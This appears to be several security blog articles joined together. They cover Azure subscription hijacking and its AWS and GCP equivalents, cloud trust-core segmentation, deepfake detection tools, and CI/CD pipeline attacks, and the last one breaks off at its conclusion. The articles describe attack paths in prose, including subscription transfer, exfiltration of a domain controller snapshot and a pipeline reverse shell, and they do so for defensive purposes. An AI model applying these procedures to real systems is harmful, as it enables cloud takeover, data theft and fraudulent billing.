Reminder of what  an Azure subscription is 

An Azure subscription is a container for cloud resources and services associated with a tenant, which enables the management of billing, access, and the deployment of Azure resources. 

Azure resources architecture

Operation of the attack 

On Microsoft Azure, the following initial situation is considered : 

• There is a legitimate organization (the victim tenant), which may or may not contain a subscription
• There is a malicious organization (the attacker’s tenant) under the attacker’s control

The attack then follows these four steps: 

Steps of the attack on Azure

1. The attacker must be present in both organizations: they therefore compromise an internal administrator in the victim tenant to have their external account invited into the tenant, or they convince a non compromised administrator to invite them under some pretext. In both cases, the administrator invites them into the victim tenant
2. The attacker targets an existing subscription or creates a new one themselves (which requires permissions), associated with an existing billing account in the victim tenant
3. The attacker obtains the Owner role on the targeted subscription. If they created it themselves, they already have this role by default; otherwise, they must receive it from an administrator
4. The attacker transfers the subscription from the original organization to the destination organization

The subscription is now under the full control of the attacker’s organization and can continue billing the former billing account.  

Why is this attack dangerous ? 

This attack is potentially very dangerous because it can be carried out instantly if the conditions are met, gives the attacker full control over the resource and any of its content, and is irreversible without support intervention. 

An instantaneous attack 

By default, any user with the Owner role on an Azure subscription who is also present in another tenant can perform the transfer without restriction. 

Multiple and potentially irreversible consequences 

The subscription comes under the control of the malicious tenant that has taken it over. They can therefore: 

• Having full control over it while the original user no longer has access 
• Extract all resources or information from it 
• Use it while charging the usage of the former billing method belonging to the legitimate owner 

Note: A purpose of subscription hijacking is to bring the resources into the attacker’s own environment, outside the control of the legitimate owner, to use them for their own benefit or to bill new usage to the former owner. However, even simple transfer without any use already causes major consequences: the user will have lost their subscription, and thus will have lost all resources, but also the structure (roles, assignments, rules), which can be very time‑consuming to rebuild. 

If the legitimate owner can block billing once they realize what is happening, there is, however, no way to recover the subscription if the attacker has removed all former Owners from it. The only remaining option is to turn to Microsoft support. 

The following article by Derk van der Woude describes a case of cryptocurrency mining carried out using stolen subscriptions and billed to the former owner: 

https://derkvanderwoude.medium.com/azure-subscription-hijacking-and-cryptomining-86c2ac018983 

How to be protected against it ? 

To protect against an illegitimate subscription transfer, there are preventive measures that can be applied to mitigate each step of the attack: 

Preventive measures 

1. Attacker’s access to resources : conditional access policies 

Conditional access policies based on risk automatically strengthen security by adapting controls according to the level of risk detected during a sign‑in or associated with a user. For example, they can block suspicious access or require multi‑factor authentication (MFA). Thus, the access of a suspicious guest could be blocked. 

     2. Privilege escalation/obtaining the Owner role: privileged identity management 

Privileged Identity Management (PIM) allows high‑privilege roles to be granted only when needed, through temporary, approved, and justified elevation. It reduces risks linked to excessive permissions through control, monitoring, and activation notifications. 

     3. Subscription transfer : subscription policy 

A subscription policy makes it possible to block the transfer of an Azure subscription to or from the tenant to prevent hijacking. It is implemented through Azure Policy by defining and then assigning a rule that restricts transfer actions, with regular reviews to ensure its effectiveness. It applies to all subscriptions within its assignment scope. 

Detection solutions 

Certain solutions can detect this attack on Microsoft Azure: 

• UEBA (Sentinel) : detects abnormal behavior (unusual sign‑ins, access to sensitive resources, unexpected changes). This helps quickly identify a compromised account before it can hijack a subscription. 
• Privileged Identity Management (PIM)​ : monitors privilege elevations and can trigger alerts when a privileged role is activated. 
• Custom Sentinel Alert : can specifically monitor events indicating a subscription transfer. The rule regularly analyzes Azure Activity logs and immediately triggers an alert when a suspicious operation like the moving of a subscription is detected. 

Resilience strategy 

The resilience strategy to be implemented is a backup of resources that allows them to be restored in the event of an actual subscription hijacking. 

1. Isolate Azure Backup backups in a dedicated subscription reserved for backups with strict security rules 
2. Protect backups: enable soft delete (no immediate permanent deletion), reversible deletion, immutability (prevents modification or deletion for a set period), and anti‑deletion locks 
3. Create multiple copies, potentially to another tenant 
4. Back up governance as well (Entra ID configurations via Microsoft 365 DSC, infrastructure configuration with Terraform) 
5. Automate reconstruction with infrastructure‑as‑code (Blueprints, ARM, Terraform) 
6. Regularly test backups 

Response to the attack 

Suffering a subscription hijacking means losing control of your Azure subscription. In that case, options are limited. You should very quickly: 

• Block the attacker’s access and revoke any secrets potentially compromised during the attack 
• Contact Microsoft Billing support to stop billing 
• Contact Microsoft technical/Azure support to attempt to recover the subscription 

And on other providers? (AWS and GCP) 

Once this attack has been identified on Azure, the question arises as to whether it also exists (or if an equivalent exists) on AWS and GCP. The concept of a subscription does not exist as such with these two cloud providers; however, equivalent hierarchical units play the same role. If it were possible to migrate them to another AWS or GCP organization in an illegitimate way, this would constitute the equivalent of subscription hijacking on those platforms.  

AWS : an existing equivalent with distinct conditions 

On AWS, the hierarchical equivalent of an Azure subscription is the AWS account: an AWS account, located within an organization, contains IAM users, resources, and is the level at which billing is handled if it is not consolidated by the management account. 

The goal of an attacker would therefore be to have this AWS account migrated to another organization. 

Steps to follow 

The steps to follow are : 

Steps of the attack on AWS

An AWS account contains: 

• A unique root user, who has all rights on the account 
• IAM users with assigned IAM permissions 

From there, two strategies are possible for the attacker: either compromise the root user (which would allow any action) or succeed in escalating privileges on a regular IAM user. However, root approval is still required for step 1 (for example, the attacker may have manipulated the root user into performing this action). Moreover, if guardrails or Service Control Policies are enforced, the root user must still validate the operation. As a result, an IAM user, even with elevated rights, cannot always migrate an account on their own. 

Similar consequences to the Azure attack ? 

It is established that on Azure, transferring a subscription results in a total loss of control over it. Here, on AWS, two nuances must be introduced: 

• First, as shown in thepreviousdiagram, billing must be changed (to an independent billing mode) to allow the account to migrate to another organization, which eliminates the risk of being charged for services used by the attacker after the migration
• Second, in the theoretical case where it is a non‑root IAM user who performed the migration (having gathered all the necessary permissions), this user does not have full control over the account, even if they leave it standalone or make it join an organization under their control. AWS accounts are highly independent, and simply having an account within one’s organization does not allow arbitrary actions (accessing certain resources,deletingthe account) without possessing the root user

Conclusion 

If the attack seems possible on AWS in theory, it requires more conditions and results in fewer definitive negative consequences than on Azure. Ultimately, the only way to take full control of an AWS account remains to obtain its root user. 

GCP : a possible equivalent but more difficult to realize 

On GCP, the architecture is closer to Azure. The equivalent of an Azure subscription is the GCP project. Here, the attacker’s goal would therefore be to migrate a project from one GCP organization to another.  

Steps to follow 

The steps to follow are : 

Steps of the attack on GCP

Similar consequences to the Azure attack ? 

The consequences of migrating a GCP project are the same as for an Azure subscription: a total loss of control over the asset, and the risk of being billed for the attacker’s usage if billing has not been modified. 

Conclusion 

A resource hijacking scenario similar to Azure subscription hijacking is therefore theoretically possible on GCP. However, the stricter conditions required make this case less likely, though it must still be considered. 

Summary of the consequences 

Summary of the consequences

Conclusion 

The subscription hijacking must therefore be considered a major attack with severe and high‑impact consequences for affected organizations or companies. Protecting the hierarchical units that manage billing and resources against any illegitimate move or migration (with measures that vary depending on the cloud provider) and establishing remediation and backup processes in case of loss is crucial for an organization’s security. 

Cet article Subscription hijacking on Microsoft Azure  est apparu en premier sur RiskInsight.

Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?

Evolution of the Security Model

In on-premises Active Directory environments, infrastructure security generally relies on strict segmentation into three tiers (T0, T1, and T2). This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.

This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:

• Portals are centralized: A wide variety of administrators with different rights.
• The boundary between administration levels is more complex: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.

To address this new paradigm, Microsoft published its Enterprise Access Model (described here), highlighting three main planes: the Control Plane, Management Plane, and Data Plane.

This model retains “cascading” criticality but simplifies it with:

• the 3 tiers into 2 access types: administrator vs. user;
• the administration flows into portal access;
• the server’s criticality is centralized within the Data plane.

Below is a comparative illustration between the old and the new model:

This new model particularly highlights 3 elements:

• User identity: privileged access vs. user access;
• Data and services: at the expense of servers;
• The method of access to web administration portals.

The inversion of importance between “servers” and “web portals” abstracting Active Directory is a radical change.

However, very few (if any) large organizations are at this stage of abandoning their “legacy” IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.

These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.

For the remainder of this article, we will take as an example the Tartampion company, which has just completed a 3-year Move-to-Cloud program on AWS. The outcome is as follows:

• A Landing Zone was created, applications already on AWS were integrated into it
• Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.
• The Data Centers were closed

A problematic hybrid and virtualized IS

According to the EAM, Azure and AWS portals are displayed at the same level (the management plane) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.

To illustrate the previous points, let us set aside the Digital Workplace aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:

Based on the framework proposed by Microsoft, these three AWS accounts should belong to the Management plane with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.

If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.

A more adequate example of segmentation would be the following:

Microsoft’s Enterprise Access Model is a macroscopic framework that allows for initiating a baseline for cloud service segmentation, but which remains to be adapted according to the criticality of the concerned IS.

How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.

The cloud from an attacker’s perspective

5 cloud principles facilitating attacks

Firstly, public cloud administration panels are exposed to the Internet by default, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.

Secondly, companies today have hybrid organizations (on-premise and cloud):

• Cloud infrastructures are connected to the rest of the on-premises IS;
• Workstations can also be hybrid and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;
• Identities are often synchronized accounts, this also applies to administration accounts.

Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.

Thirdly, identity management is very complex with different scopes. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.

In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain “legacy” teams, such as the SOC/CERT, network, etc. The most sensitive cloud resources are not systematically identified, protected, and monitored.

Finally, even if native detection mechanisms are present, they are not always interconnected with SIEM/SOAR, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that native detection tools have limited detection capacity. This is an observation also found in Red Teams since, with an “OpSec” approach, cloud detection tools are rarely able to identify an ongoing attack.

Feedback from our penetration tests & Red Team

Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:

The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available here.

Reconnaissance and Initial Access

Categories of employees are generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS…). A frequently used method is phishing. Current phishing mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.

Privilege Escalation and Lateral Movements

In the first scenario, a compromised developer possessed access to a Citrix farm. Citrix environments are not simple to completely harden, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.

Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to access the server’s AWS metadata: the instance had rights on the client’s AWS account. The Citrix virtual machine possessed the “AmazonEC2FullAccess” role allowing it management actions on EC2s in the same AWS account.

Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called “Shared Services”. It is nevertheless recommended to verify that the criticality of shared services is homogeneous to be able to apply adequate hardening on the account or separate them into several environments.

Actions on trophies

From the Citrix server AWS role, a snapshot of the domain controller was taken and then downloaded. Domain controller backups contain all the machine’s files, including the most sensitive files like the ntds.dit database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.

This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.

Faster and stronger impacts

Attacks already possible on an on-premises IS can be reproduced and even accelerated thanks to cloud features. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the “lifecycle” feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.

New attacks have also appeared, such as “Subscription Hijacking” which allows transferring an Azure organization’s subscription to another and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.

Identification and protection of the cloud trust core

Identification

The trust core adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish a restricted circle of critical resources (whether cloud or on premises) and then deploy decreasing levels of protection as one moves away from this core.

The identification of the trust core relies on two main criteria:

• Business Criticality: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;
• IS Criticality: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.

This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:

• EDR: an obvious security element of an IS, systematically deployed on both workstations and cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.
• CI/CD pipelines: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. Out of all Red Teams conducted in 2024 & 2025, 80% exploited vulnerabilities associated with these solutions to progress in their operation or even obtain compromise trophies through these means.

In order to identify the center of the trust core, which we will call the security foundation, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.

Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as administrator / super-user access to them, and not simple user.

Here is one possible representation of a hybrid trust core:

In this representation, on the on-premise side, we can observe:

• The T0, with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…
• The T1, integrating additionally high-impact business applications.

And on the cloud side, we find:

• At the core, the Control Plane (AWS Orga & Identity Center, Entra ID) as well as the Landing Zone modules supporting T0 (if part of T0 is hosted in the cloud);
• Moving outward, the various administration consoles for productivity suites, and for infrastructure or application management.

When establishing this diagram, it is important to keep in mind that:

• IT serves the business, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;
• Dependency/compromise chains have a significant impact on architectural choices: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.

Finally, building a trust core cannot be limited to a static classification logic. It must rely on an approach that evaluates the criticality of each asset and the risk it introduces (a software development company will surely not position its Git at the same level as a civil engineering company).

Protection of the cloud trust core

The security of the trust core will rely on the two traditional risk factors:

• Reduce impact: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?
• Reduce probability: How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?

Protection of the cloud security foundation

Regarding the cloud “security foundation,” it is possible to prioritize environments by criticality according to this macroscopic scale:

Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…

Securing the cloud security foundation relies on 2 main points:

• Impeccable hygiene: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…
• A passive / active security layer: deployment of policies (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and detection rules to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.

These policies can be effectively associated with a tagging strategy to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.

For example, it is possible to tag different resources with a “tiering” key and a value between “T0”, “T1”, “T2” and then deploy this set of strategies:

• Prohibit any action targeting a resource tagged “tiering” by an identity whose own tiering tag value is not equivalent;
• Prohibit the manipulation of tiering tags, except for a specific role.

And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).

Protection of identities and access

To protect users, 3 hardening themes can be implemented:

• Identity: With which account does the user connect to cloud administration interfaces? How are rights obtained?
• MFA: Is the identity protected with multi-factor authentication resistant to phishing attacks?
• Origin: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?

Several levels of protection are conceivable in order to protect cloud administrators:

To protect the restricted trust core, represented by the triple padlocks, it is recommended to implement the most robust authentication factors. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).

For resources further from the center of the core of trust, symbolized by the double padlocks, a hardened but proportionate security level can be applied, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.

Ultimately, the most secure methods are also those that imply the most constraints for the people concerned, usage must be controlled (limiting day-to-day operations) and emergency situations considered.

Repeat Operations

At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.

To verify the proper implementation of the core of trust, an audit can be conducted to verify the proper protection of the critical resources that compose it.

An information system is always evolving, but the first two phases will have been performed at a given moment. New critical resources may be added, others modified or even deleted. It is essential to regularly re-evaluate the IS and update the distribution of resources within the core of trust.

In conclusion, information system security now operates within a context of increasing complexity and strong diversification of infrastructure components and services.

In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.

For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets – the crown jewels – and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.

Cet article Cloud Security: Adapting to a new reality est apparu en premier sur RiskInsight.

Malicious uses of deepfakes can be grouped into three main categories: 

• Disinformation and enhanced phishing: Falsified videos with carefully crafted messages can be exploited to manipulate public opinion, influence political debates, or spread false information. These videos may prompt targets to click on phishing links, increasing the credibility of attacks. Such identity theft has already targeted public figures and company CEOs, sometimes encouraging fraudulent investments. 
• CEO fraud and social engineering: Traditional telephone scams and CEO fraud are harder to detect when attackers use deepfakes to imitate an executive’s voice or fully impersonate someone (face and voice) to obtain sensitive information. Such live identity theft scams, especially via videoconferencing, have already resulted in significant financial losses, as seen in Hong Kong in early 20241.  
• Identity theft to circumvent KYC solutions2 : Increasingly, applications, especially in banking, use real-time facial verification for identity checks. By digitally altering the facial image submitted, malicious actors can impersonate others during these verification processes.

The rapid growth of generative artificial intelligence has led to a steady increase in both the number and sophistication of deepfake generation models. It is increasingly common for companies to suffer such attacks (as evidenced by our latest CERT-W annual report ) and increasingly difficult to detect and counter them.  

Figure1 – Increase in deepfake technologies and resulting financial losses

Humans remain the primary target and therefore the first line of defense in the information system against this type of attack. However, we have seen a significant evolution in the maturity of these technologies over the past year, and it is becoming increasingly difficult to distinguish between what is real and what is fake with the naked eye.  

After supporting many companies with employee training and awareness, we saw the need to analyze tools that could strengthen their defenses. Having reliable deepfake detection solutions is no longer just a technical issue: it is a necessity to protect IT systems against intrusions, maintain trust in digital exchanges, and preserve the reputation of individuals and companies. 

Our Radar of deepfake detection solutions presents about 30 mature providers we have tested rigorously, allowing us to identify initial trends in this emerging market. 

For our technical tests, some stakeholders provided versions of their solutions deployed in environments similar to those used by their customers. We then built a database of multiple deepfake content of various types: media type (audio only, image, video, live interaction); format (sample size, duration, extension) and deepfake tools used to generate these samples: 

To best extract market trends from these tests, we considered three distinct evaluation criteria: 

• Performance (deepfake detection capability, accuracy of false positive results, response time, etc.) 
• Deployment (ease of integration into a client environment, deployment support and documentation) 
• User experience (understanding of results, ease of use of the tool, etc.) 

An emerging market that has already proven itself in real-world conditions 

Two different technologies to achieve the same goal  

We first categorized the different solutions offered according to the type of content detected: 

• 56% of solutions detect based on visual media data (image, video) 
• 50% of solutions opt for detection based on audio data (simple audio file or audio from a video)  

This balanced distribution of content types enabled us to compare the performance of each technology. While most of the solutions developed rely on artificial intelligence models trained to classify AI-generated content, the processing of a visual file (such as a photo) or an audio file (such as an MP3) differs greatly in the types of AI models used. We could therefore expect differences in performance between these two technologies. 

However, our technical tests show that the accuracy of the solutions is relatively similar for both image and audio processing. 

We also identified leading providers developing live audio and video deepfake detection, capable of processing sources in under 10 seconds, which addresses today’s most dangerous attack vectors. 

These solutions, which mainly process audio, achieved an accuracy score of 73% of deepfakes detected as such. This shows the potential for improvement for these young players in detecting state-of-the-art live attacks. 

From PoC to deployment at scale, a step already taken by some

The maturity of solutions also varies on our radar. While some providers are start-ups emerging to meet this specific need, others are not new to the market. In fact, some of the companies we met had their core business in other areas before entering this market (we can mention biometric identification, artificial intelligence tools, and even AI-powered multimedia content generators!). These players therefore have the knowledge and experience to offer their customers a packaged service that can be deployed on a large scale, as well as post-deployment support. 

Younger startups are also maturing and moving beyond the PoC phase by offering companies a range of deployment options: 

• API requests, which can be integrated into other software, remain the preferred way to call on the services of tools that enable deepfake detection. 
• Comprehensive SaaS GUI6 platforms. Some of these platforms have already been deployed on-premises in certain contexts, particularly in the banking and insurance sectors. 
• On-device Docker containers, which allow plug-ins to be added to audio and video devices or videoconferencing software for integration tailored to specific detection needs. 

Use cases for deepfake detection solutions: trends and developments 

Use cases specific to critical business needs that require protection 

To meet diverse market needs, solution providers have specialized in specific use cases. In addition to answering the question “deepfake or original content?”, some providers are developing and offering additional features to target specific uses for their solutions. 

We have grouped the various offerings from providers into broad categories to help us understand market trends: 

• KYC and identity verification: in banking onboarding or online account opening processes, deepfake detection makes it possible to distinguish between a real video of a user and an AI-generated imitation. This protects financial institutions against identity theft and money laundering. These solutions will be able to give “liveness” scores or match rates to the person being identified in order to refine detection. 
• Social media watch and source identification: To prevent fake media or information from damaging their clients’ reputations, some solution providers have deployed watch on social media or multimedia content analysis tools for email attachments to enable rapid response. The features of these solutions make it possible to understand how and by which deepfake model this malicious content was produced, helping to trace the source of the attack. 
• Falsified documents and insurance fraud: A number of players have turned their attention to combating insurance fraud and false identity documents. Their solutions seek to detect alterations in supporting documents or photos of damage by highlighting how and which parts of the original image have been modified. 
• Detection of telephone scams and identity theft in video calls: these types of attacks are on the rise and rely on the creation of realistic imitations of a manager’s voice or face, in particular to deceive employees and obtain transfers or sensitive information. Most detection systems targeting these attacks have developed capabilities for full integration into video call software or sound cards on the devices to be protected. 

Each solution is designed with specific features aligned with market needs to maximize the relevance and operational effectiveness of detection solutions. 

Open source as the initiator, proprietary solutions to take over 

While proprietary solutions dominate, open-source approaches also play a role in this field. These initiatives play an important role in academic research and experimentation, but they often remain less effective and less robust in the face of sophisticated deepfakes. 

While some offer very good results on controlled test benches ( up to 90% detection performance7 ), proprietary solutions offered by specialized publishers generally offer better performance in production. They also stand out in terms of support: regular updates, technical support, and maintenance services, which are essential for critical environments such as finance, insurance, and public sector. This difference is gradually creating a gap between open source research and commercial offerings, where reliability and integration into complex environments are becoming key selling points. 

False positives: the remaining challenge 

Many vendors emphasize their deepfake detection capabilities. We felt it was important to extend our testing to understand how these solutions perform on false positives: is real content detected as natural content or as deepfake content? 

 The evaluations we conducted on several detection solutions highlight contrasting results depending on the type of content.  

• For images and video: nearly 40% of the solutions tested still have difficulty correctly managing false positives. With these solutions, between 50% and 70% of the real images analyzed are considered deepfakes. This limits their reliability, especially when they are subjected to large amounts of content.  
• On the audio side, the solutions stand out with more robust performance on false positives: only 7%. Only a few particularly altered (but non-AI) or poor-quality samples were detected as deepfakes by some solutions. 

To address these issues, some vendors are combining image/video and audio processing. Currently, these modalities are usually scored separately, but efforts are underway to integrate their results for greater accuracy. Some publishers are working on ways to use these two scores more complementarily to limit false positives. 

What does the future hold for deepfake detection? 

Current solutions are effective under most present conditions. However, as technologies and attack methods rapidly evolve, vendors will face two major challenges.  

The first challenge is detecting content from unknown generative tools. While most solutions handle common technologies well, their performance drops with newer, less-documented methods.  

The second challenge is real-time detection. Currently, only 19% of solutions offer this feature, and their performance is still insufficient to meet future needs. In contrast, notable progress is already being made in audio detection, which is emerging as a promising advance for enhancing security in critical scenarios involving phishing or CEO fraud via deepfake audio calls. 

The market maturity of these cutting-edge technologies is accelerating, and there is every reason to believe that detection solutions will quickly catch up with the latest advances in deepfake creation. The next few years will be decisive in seeing the emergence of more reliable, faster tools that are better integrated with business needs.  

Cet article Anti-Deepfake Solutions Radar: An Analysis of the AI-Generated Content Detection Ecosystem  est apparu en premier sur RiskInsight.

Attacks targeting these supply chains have opened a new perimeter of risk in information systems. Breaches can lead to intellectual property theft, tampering with source code, service disruption, and privilege escalation into more critical parts of the IT landscape. 

What are the new attack vectors in CI/CD pipelines, and how can they be contained? This article reviews real-world compromise scenarios and provides recommendations to defend against them. 

What risks for CI/CD pipelines? 

The 2020 SolarWinds breach is very often cited as CI/CD compromise, as it revealed the true scale of that such an attack can cause. After supposedly stealing FTP credentials left in plaintext in an old GitHub repository, attackers poisoned SolarWinds’ supply chain by inserting a C2 beacon into Orion, its network management software, before the signing process. 

This backdoor gave adversaries months of undetected access to the internal networks of U.S. government agencies and private companies. 

Incidents like this, along with more recent ones such as Log4Shell, Codecov, and XZ Utils, highlight not only the need for stronger CI/CD security but also for a more adaptive incident response. OWASP published a dedicated overview for CI/CD Security in their Top 10, mapping out the most common areas of risk. 

Figure 1 – Top 10 OWASP CICD-Sec 

Field insights @ Wavestone

Audits and penetration tests help identify vulnerabilities proactively before attackers can exploit them. By simulating real-world attacks, these assessments provide concrete visibility into how systems can be compromised. 

Our recent client engagements have led to clear findings: 

• In nearly all Cloud and CI/CD audits, vulnerabilities are always discovered in pipelines, often enabling full control of the pipeline, its artifacts, or even underlying infrastructure. 
• In CERT and Red Team interventions, CI/CD pipelines frequently act as accelerators in attack paths. 

Here are two examples observed in the field. 

Example 1: Full AWS compromise through CI/CD abuse 

In this first grey-box example, we compromised an entire AWS Cloud environment (600+ accounts) starting from standard DevOps accounts. 

Figure 2: Full AWS compromise through CI/CD abuse 

Attack path: 

• An attacker pushed malicious code into a GitLab repository, triggering a GitLab CI pipeline that deployed the code into a generic Kubernetes pod. 
• The code opened a reverse shell, giving the attacker remote access to the Kubernetes environment. 
• From there, the attacker exploited excessive privileges granted to the node’s service account (ability to patch tokens in the cluster) and replaced the admin node’s token. 
• On redeployment, the malicious pod lands on the former admin node, still holding admin rights. 
• The attacker escalated privileges and pivoted into AWS, compromising the entire Elastic Kubernetes Service (EKS) cluster and its resources. 

Example 2: Chained attacks across pipeline components 

Figure 3 -Summary of real chained attacks across pipeline components 

In another case (presented at DefCon & BSides 2022), we demonstrated how multiple components of a CI/CD pipeline can be chained together in compromise scenarios. [Video]. 

Recommendations to secure a CI/CD 

CI/CD pipelines have now become systemic components of information systems and can be leveraged to compromise an organization’s most critical resources. 

Our recommendations for securing the CI/CD chain can be grouped into three main themes: identity and access management (IAM), better pipeline design, and continuous monitoring. These align with the ANSSI DevSecOps guidance. 

Figure 4 – Three main recommendations to secure a CI/CD 

Identity and Access Management (IAM) 

Figure 5 – IAM recommendations 

Identity management 

Beyond the traditional rules for managing identity lifecycles, it is strongly recommended to systematically use Single Sign-On (SSO) combined with Multi-Factor Authentication (MFA). This significantly reduces the risk of intrusion into the CI/CD chain, by ensuring that any user accessing code repositories, signing commits, or performing other privileged actions is properly authenticated. 

Access control 

User and service account permissions must be strictly limited to what is necessary for their role within the CI/CD chain, always applying the principle of least privilege. This should be enforced through Role-Based Access Control (RBAC). For example, a developer working on a specific project generally should not have write access to the overall pipeline configuration. 

It is also advisable to segment projects using separate code repositories, and to ensure that the orchestrator account of one project does not hold excessive rights over the deployments of projects it is not associated with. 

Secrets management 

In CI/CD, “secrets” refer to sensitive data such as passwords, API keys, certificates, or access tokens. Since these secrets often enable privileged actions within pipelines, they must be retrieved in an automated and controlled manner. 

Vendors such as HashiCorp provide dedicated secret management solutions that make it possible to store sensitive data centrally, while ensuring encryption in transit and at rest. 

CI/CD pipeline design 

Figure 6 – Design recommendations 

Environment segmentation 

Segregation between users, applications, and infrastructure is essential to minimize the impact of a compromise. In line with ANSSI’s guidance, actions performed by the production CI/CD chain should be treated as administrative actions, and the number of users authorized to access it should be kept to an absolute minimum. Furthermore, communication between environments must be protected with end-to-end encryption. 

Integration of third-party tools 

As the SolarWinds attack demonstrated, many supply-chain compromises originate from a third-party component integrated into a CI/CD pipeline. These tools are indispensable for supply-chain operation: they may be as small as a development add-on, or as central as a version control system or orchestrator. 

Because these tools are often granted high privileges—access to sensitive resources or the ability to perform critical actions within the pipeline—a vulnerability that is left unpatched can be catastrophic. In many cases, the ability to remediate will depend on the vendor, limiting the organization’s own control. A strict governance framework and a Third-Party Cyber Risk Management (TCPCRM) process for third-party tools is therefore necessary. 

Artifact management 

To avoid the risk of distributing malicious artifacts, it is recommended to sign artifacts as early as possible in the pipeline, and to verify those signatures at deployment time to guarantee their integrity. Similarly, regular Software Composition Analysis (SCA) should be performed to prevent the introduction of malicious libraries. 

Monitoring and supervision 

Figure 7 – Monitoring recommendations 

Logging and detection 

Maintaining a high level of visibility and control over all pipeline components is critical for easier maintenance and faster response to attacks. 

A tailored logging strategy should be implemented: logs must contain only the data needed to ensure traceability and accountability in the event of an incident, should be stored securely, and must not contain secrets in plaintext. Logs should be shared effectively with the organization’s Security Information and Event Management (SIEM) system. 

Regular audits and penetration tests are also required to reassess the security posture and identify potential new compromise paths within the CI/CD pipeline. 

Incident response 

Finally, CI/CD pipelines must be included in incident response plans just like any other perimeter of the information system. This means ensuring that source code and configurations are backed up, and that business continuity plans exist in case of a tool failure. 

In conclusion 

